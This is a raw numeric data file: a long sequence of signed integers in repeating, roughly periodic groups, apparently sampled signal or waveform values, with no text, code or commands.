+84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +89 +59 +12 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +93 +118 +76 +17 +-37 +-84 +-118 +-84 +-25 +25 +68 +101 +68 +8 +-42 +-88 +-118 +-80 +-25 +29 +72 +106 +72 +17 +-37 +-80 +-114 +-76 +-16 +34 +76 +110 +76 +17 +-33 +-80 +-114 +-71 +-16 +34 +80 +114 +76 +21 +-33 +-76 +-109 +-71 +-12 +42 +80 +59 +12 +-33 +-71 +-37 +12 +63 +97 +72 +21 +-29 +-67 +-33 +17 +63 +97 +68 +17 +-29 +-67 +-37 +12 +59 +97 +68 +17 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +12 +-37 +-76 +-42 +8 +55 +89 +59 +12 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-42 +8 +51 +89 +114 +76 +17 +-37 +-88 +-118 +-84 +-25 +25 +68 +101 +68 +12 +-42 +-88 +-118 +-80 +-20 +29 +72 +106 +72 +17 +-37 +-84 +-114 +-76 +-20 +34 +76 +110 +76 +17 +-33 +-80 +-114 +-71 +-16 +38 +80 +114 +76 +21 +-33 +-76 +-105 +-67 +-8 +42 +84 +59 +12 +-33 +-67 +-33 +17 +63 +101 +72 +21 +-29 +-63 +-33 +17 +63 +97 +68 +17 +-29 +-67 +-33 +12 +59 +97 +68 +17 +-33 +-71 +-37 +8 +55 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +93 +63 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +12 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +12 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-84 +-118 +-80 +-20 +29 +72 +101 +68 +12 +-42 +-84 +-118 +-76 +-20 +34 +76 +110 +76 +17 +-33 +-80 +-114 +-71 +-16 +38 +80 +114 +76 +21 +-33 +-76 +-109 +-71 +-16 +38 +80 +114 +76 +21 +-29 +-76 +-109 +-67 +-12 +42 +84 +114 +80 +25 +-25 +-63 +-33 +17 +63 +97 +68 +17 +-33 +-67 +-37 +12 +59 +93 +68 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-71 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +63 +12 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +12 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-46 +-92 +-122 +-84 +-25 +25 +72 +101 +68 +12 +-37 +-84 +-118 +-76 +-16 +34 +76 +110 +76 +21 +-33 +-80 +-109 +-71 +-12 +38 +80 +114 +76 +21 +-33 +-76 +-109 +-71 +-12 +38 +80 +114 +80 +25 +-29 +-76 +-109 +-67 +-12 +42 +84 +118 +84 +34 +-16 +-59 +-29 +21 +68 +101 +72 +21 +-29 +-67 +-37 +12 +59 +97 +68 +17 +-33 +-71 +-37 +8 +55 +93 +63 +12 +-33 +-71 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +63 +12 +-37 +-71 +-37 +12 +59 +93 +63 +12 +-33 +-71 +-42 +12 +59 +93 +68 +17 +-29 +-67 +-33 +17 +63 +97 +72 +21 +-29 +-67 +-33 +17 +63 +97 +68 +17 +-33 +-67 +-37 +12 +59 +97 +68 +17 +-29 +-67 +-37 +12 +59 +97 +68 +17 +-33 +-67 +-37 +12 +63 +97 +68 +17 +-33 +-71 +-37 +12 +59 +93 +63 +12 +-33 +-71 +-37 +12 +59 +93 +63 +12 +-37 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +89 +59 +12 +-37 +-76 +-42 +8 +55 +89 +59 +12 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-50 +0 +46 +80 +51 +4 +-46 +-84 +-54 +-3 +42 +76 +51 +0 +-50 +-88 +-59 +-8 +38 +76 +46 +-3 +-54 +-92 +-59 +-8 +38 +76 +46 +-3 +-50 +-88 +-59 +-8 +42 +76 +46 +0 +-50 +-84 +-54 +-3 +42 +76 +46 +0 +-50 +-88 +-54 +-3 +42 +76 +51 +0 +-46 +-84 +-50 +0 +46 +80 +51 +4 +-46 +-84 +-50 +0 +46 +80 +51 +4 +-46 +-84 +-50 +0 +46 +80 +55 +4 +-42 +-80 +-50 +4 +51 +84 +55 +4 +-42 +-80 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-50 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +55 +93 +123 +80 +25 +-33 +-80 +-114 +-76 +-16 +34 +76 +110 +76 +21 +-33 +-76 +-109 +-67 +-8 +42 +84 +118 +84 +29 +-20 +-67 +-101 +-63 +-3 +46 +89 +123 +84 +29 +-20 +-67 +-101 +-59 +-3 +46 +93 +123 +89 +34 +-16 +-63 +-97 +-59 +0 +55 +93 +72 +25 +-20 +-59 +-25 +25 +76 +110 +80 +29 +-16 +-59 +-25 +25 +68 +106 +76 +21 +-25 +-67 +-37 +12 +59 +93 +63 +8 +-42 +-80 +-50 +0 +46 +80 +51 +0 +-50 +-84 +-54 +-3 +42 +76 +51 +0 +-50 +-88 +-54 +-3 +42 +76 +51 +0 +-50 +-88 +-54 +-3 +42 +76 +46 +0 +-50 +-88 +-54 +-3 +42 +76 +51 +0 +-50 +-84 +-54 +-3 +42 +80 +51 +4 +-46 +-84 +-54 +-3 +42 +80 +51 +0 +-46 +-84 +-50 +0 +46 +80 +51 +4 +-46 +-80 +-50 +0 +46 +84 +55 +4 +-42 +-80 +-50 +4 +46 +84 +55 +4 +-46 +-80 +-50 +0 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +55 +8 +-42 +-76 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-71 +-42 +8 +59 +93 +68 +17 +-33 +-71 +-37 +12 +59 +93 +63 +12 +-37 +-76 +-42 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-50 +4 +51 +84 +55 +8 +-42 +-80 +-50 +0 +46 +84 +55 +4 +-42 +-80 +-50 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-80 +-50 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-42 +8 +55 +89 +63 +12 +-37 +-71 +-42 +8 +55 +93 +63 +12 +-33 +-67 +-37 +12 +59 +97 +123 +84 +25 +-29 +-76 +-109 +-71 +-16 +38 +80 +114 +80 +25 +-29 +-71 +-105 +-67 +-8 +46 +89 +118 +84 +29 +-25 +-71 +-105 +-67 +-12 +38 +80 +110 +76 +17 +-37 +-80 +-114 +-76 +-20 +34 +76 +106 +72 +12 +-37 +-84 +-114 +-76 +-16 +34 +76 +51 +4 +-42 +-76 +-46 +8 +55 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-50 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +89 +63 +12 +-37 +-76 +-42 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-84 +-118 +-80 +-20 +29 +72 +101 +68 +12 +-42 +-84 +-118 +-76 +-20 +34 +76 +110 +76 +17 +-33 +-80 +-114 +-71 +-16 +38 +80 +110 +76 +21 +-33 +-76 +-109 +-71 +-12 +38 +80 +114 +76 +21 +-29 +-76 +-105 +-67 +-12 +42 +84 +114 +80 +25 +-25 +-59 +-29 +17 +63 +97 +68 +17 +-29 +-67 +-37 +12 +59 +97 +68 +17 +-33 +-67 +-37 +12 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-42 +4 +51 +89 +114 +76 +17 +-37 +-84 +-118 +-80 +-25 +25 +72 +101 +68 +12 +-42 +-84 +-118 +-80 +-20 +29 +76 +106 +72 +17 +-37 +-84 +-114 +-76 +-16 +34 +76 +110 +76 +17 +-33 +-80 +-109 +-71 +-12 +38 +80 +114 +76 +21 +-33 +-76 +-109 +-67 +-8 +42 +84 +59 +12 +-33 +-71 +-37 +12 +63 +97 +72 +21 +-29 +-63 +-33 +17 +63 +97 +68 +17 +-29 +-67 +-33 +17 +63 +97 +68 +17 +-33 +-71 +-37 +12 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +93 +63 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +55 +89 +59 +8 +-37 +-76 +-46 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +55 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-42 +8 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +55 +93 +118 +76 +17 +-37 +-84 +-118 +-84 +-25 +25 +68 +101 +68 +12 +-42 +-88 +-118 +-80 +-20 +29 +76 +106 +72 +17 +-33 +-80 +-114 +-76 +-20 +34 +76 +106 +72 +17 +-33 +-80 +-114 +-71 +-16 +34 +80 +110 +76 +21 +-33 +-76 +-109 +-71 +-12 +42 +80 +59 +12 +-33 +-67 +-37 +17 +63 +101 +72 +21 +-25 +-63 +-33 +17 +63 +101 +72 +21 +-29 +-67 +-33 +17 +63 +97 +68 +17 +-33 +-71 +-37 +8 +55 +93 +63 +12 +-37 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +51 +89 +63 +8 +-46 +-88 +-122 +-84 +-25 +25 +72 +106 +72 +17 +-37 +-80 +-114 +-76 +-16 +34 +76 +110 +76 +21 +-33 +-76 +-109 +-67 +-12 +38 +80 +114 +76 +21 +-29 +-76 +-109 +-67 +-12 +38 +84 +114 +80 +25 +-29 +-76 +-109 +-67 +-12 +42 +84 +118 +84 +25 +-25 +-71 +-105 +-67 +-12 +38 +84 +114 +80 +25 +-29 +-71 +-105 +-67 +-8 +42 +84 +118 +80 +25 +-29 +-76 +-105 +-67 +-12 +42 +84 +118 +80 +25 +-29 +-76 +-109 +-67 +-12 +42 +84 +114 +80 +25 +-29 +-71 +-105 +-67 +-12 +42 +84 +118 +84 +34 +-16 +-59 +-29 +21 +68 +101 +72 +17 +-29 +-67 +-37 +12 +59 +93 +68 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-33 +-71 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-84 +-118 +-80 +-20 +29 +72 +106 +72 +17 +-37 +-84 +-114 +-76 +-16 +34 +76 +110 +76 +17 +-33 +-80 +-114 +-71 +-16 +38 +80 +114 +76 +21 +-33 +-76 +-114 +-71 +-16 +38 +80 +114 +76 +21 +-29 +-76 +-109 +-67 +-12 +42 +80 +114 +76 +25 +-25 +-63 +-33 +17 +63 +97 +68 +17 +-33 +-67 +-37 +12 +59 +93 +68 +12 +-33 +-71 +-42 +8 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-42 +4 +51 +89 +114 +76 +17 +-37 +-88 +-118 +-84 +-25 +25 +68 +101 +68 +12 +-42 +-84 +-118 +-80 +-20 +29 +76 +106 +72 +17 +-37 +-84 +-114 +-76 +-16 +34 +76 +110 +76 +17 +-33 +-80 +-109 +-71 +-16 +38 +80 +114 +76 +21 +-33 +-76 +-109 +-67 +-12 +38 +80 +114 +76 +21 +-33 +-76 +-109 +-71 +-12 +38 +84 +114 +80 +25 +-29 +-76 +-105 +-67 +-12 +42 +84 +118 +80 +25 +-29 +-71 +-105 +-67 +-12 +42 +84 +118 +80 +25 +-29 +-76 +-105 +-67 +-8 +42 +84 +118 +80 +25 +-29 +-76 +-105 +-63 +-3 +46 +84 +63 +12 +-33 +-67 +-33 +17 +68 +101 +76 +25 +-25 +-59 +-29 +21 +68 +101 +72 +21 +-25 +-63 +-29 +21 +68 +101 +76 +25 +-25 +-59 +-29 +21 +68 +101 +72 +21 +-29 +-67 +-33 +12 +59 +93 +68 +12 +-33 +-71 +-42 +8 +55 +93 +118 +80 +17 +-37 +-84 +-122 +-84 +-25 +25 +68 +97 +63 +8 +-46 +-92 +-122 +-84 +-25 +25 +68 +101 +68 +12 +-37 +-84 +-118 +-80 +-20 +29 +72 +101 +68 +12 +-37 +-84 +-114 +-76 +-16 +34 +76 +110 +76 +17 +-33 +-80 +-114 +-71 +-12 +38 +80 +55 +8 +-37 +-71 +-37 +12 +63 +97 +68 +21 +-29 +-63 +-33 +17 +63 +101 +72 +21 +-29 +-67 +-33 +17 +63 +97 +68 +17 +-33 +-71 +-37 +12 +59 +93 +68 +12 +-33 +-71 +-42 +8 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +12 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-84 +-118 +-76 +-20 +29 +72 +101 +68 +17 +-37 +-84 +-114 +-76 +-16 +34 +76 +110 +76 +21 +-33 +-76 +-109 +-71 +-12 +38 +84 +114 +80 +25 +-29 +-71 +-105 +-63 +-8 +46 +89 +123 +89 +34 +-20 +-63 +-97 +-59 +0 +51 +93 +123 +89 +34 +-20 +-67 +-101 +-63 +-8 +42 +84 +114 +80 +21 +-33 +-76 +-109 +-71 +-16 +38 +80 +110 +76 +21 +-33 +-80 +-114 +-71 +-16 +38 +80 +110 +76 +17 +-33 +-80 +-114 +-71 +-16 +34 +76 +110 +76 +21 +-33 +-76 +-109 +-71 +-16 +38 +80 +110 +76 +21 +-25 +-67 +-33 +17 +59 +97 +68 +17 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-71 +-42 +8 +55 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-84 +-118 +-76 +-20 +29 +72 +101 +68 +12 +-42 +-84 +-118 +-76 +-20 +34 +76 +110 +72 +17 +-33 +-80 +-114 +-71 +-16 +38 +80 +110 +76 +21 +-33 +-80 +-114 +-71 +-16 +38 +80 +110 +76 +21 +-29 +-76 +-109 +-67 +-12 +38 +80 +114 +80 +25 +-25 +-63 +-33 +17 +63 +97 +68 +17 +-29 +-67 +-37 +12 +59 +97 +68 +17 